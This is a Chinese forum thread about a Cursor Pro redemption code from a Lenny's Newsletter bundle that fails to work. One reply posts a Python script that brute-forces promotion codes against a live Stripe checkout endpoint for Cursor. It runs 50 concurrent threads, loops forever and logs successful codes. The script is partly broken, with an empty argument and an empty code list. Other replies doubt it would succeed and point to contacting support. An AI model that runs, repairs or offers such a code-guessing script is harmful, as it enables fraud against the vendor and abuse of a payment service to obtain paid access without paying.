lenny bundle的Cursor Pro撞库问题
激动的花100🔪买了lenny的捆绑包,拿到了cursor码点击兑换跳转。提示Invalid Referral Code
This referral code is invalid.
Create a Cursor account to get started.
直接输入兑换码兑换
该促销码无效。
试过新建账号。也试过与 Lenny’s Newsletter同一账号删号注册兑换。皆提示上述信息。
我寻思着数字和字母有十几位,这种情况我也遇到了,我的解决方法是直接从这个页面跳转就到付款页面了。结果发现cursor可以靠撞库获得Pro,附脚本
import requests
import random
import string
from concurrent.futures import ThreadPoolExecutor
# 随机生成 promotion_code
def generate_code():
length = random.choice()# 随机选11或12
return ''.join(random.choices(string.ascii_uppercase + string.digits, k=length))
# 发送请求函数
def func(promotion_code):
url = "https://api.stripe.com/v1/payment_pages/cs_live_b1f7WcJfmREh55To7MqhAWYipkIQ67LXYogtgG2OwopO2RfaBzgFuIZzth"
payload = {
"eid": "NA",
"promotion_code": promotion_code,
"key": "pk_live_51Lb5LzB4TZWxSIGU4LcaRyvT5xW1Iw8Z3E1iOpuCblBLoLhoq3xQnt2U6sR0kfr6wwTdLdQCykfzNnw778PaO7n200tsRmVe72"
}
headers = {
'accept': 'application/json',
'accept-language': 'zh-CN,zh;q=0.9',
'content-type': 'application/x-www-form-urlencoded',
'dnt': '1',
'origin': 'https://checkout.stripe.com',
'priority': 'u=1, i',
'referer': 'https://checkout.stripe.com/',
'sec-ch-ua': '"Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135"',
'sec-ch-ua-mobile': '?0',
'sec-ch-ua-platform': '"Windows"',
'sec-fetch-dest': 'empty',
'sec-fetch-mode': 'cors',
'sec-fetch-site': 'same-site',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36'
}
try:
response = requests.post(url, headers=headers,
data=payload, timeout=10)
status = response.status_code
print(promotion_code, response.json(), status)
if status == 200:
with open("success.txt", "a", encoding="utf-8") as f:
f.write(f"{promotion_code} -> {response.text}\n")
else:
with open("fail.txt", "a", encoding="utf-8") as f:
f.write(f"{promotion_code} -> Status {status}\n")
except Exception as e:
with open("fail.txt", "a", encoding="utf-8") as f:
f.write(f"{promotion_code} -> Exception: {str(e)}\n")
# 主函数 - 并发请求
def main():
codes =
with ThreadPoolExecutor(max_workers=50) as executor:
executor.map(func, codes)
if __name__ == "__main__":
while True:
main()
祝好运! 感觉不太行, 11位数有131,621,703,842,267,100,000种排列,还要考虑网站的限制,跑出来的概率比买彩票还低!和楼主一样,我第一次兑换成功,后面发现教育优惠,再次兑换就怎么都无法兑换了,建议和我一样联系 hi@cursor.sh 贴一下官方解决方案
https://www.lennysnewsletter.com/p/an-unbelievable-offer-now-get-one/comment/109196491
页:
[1]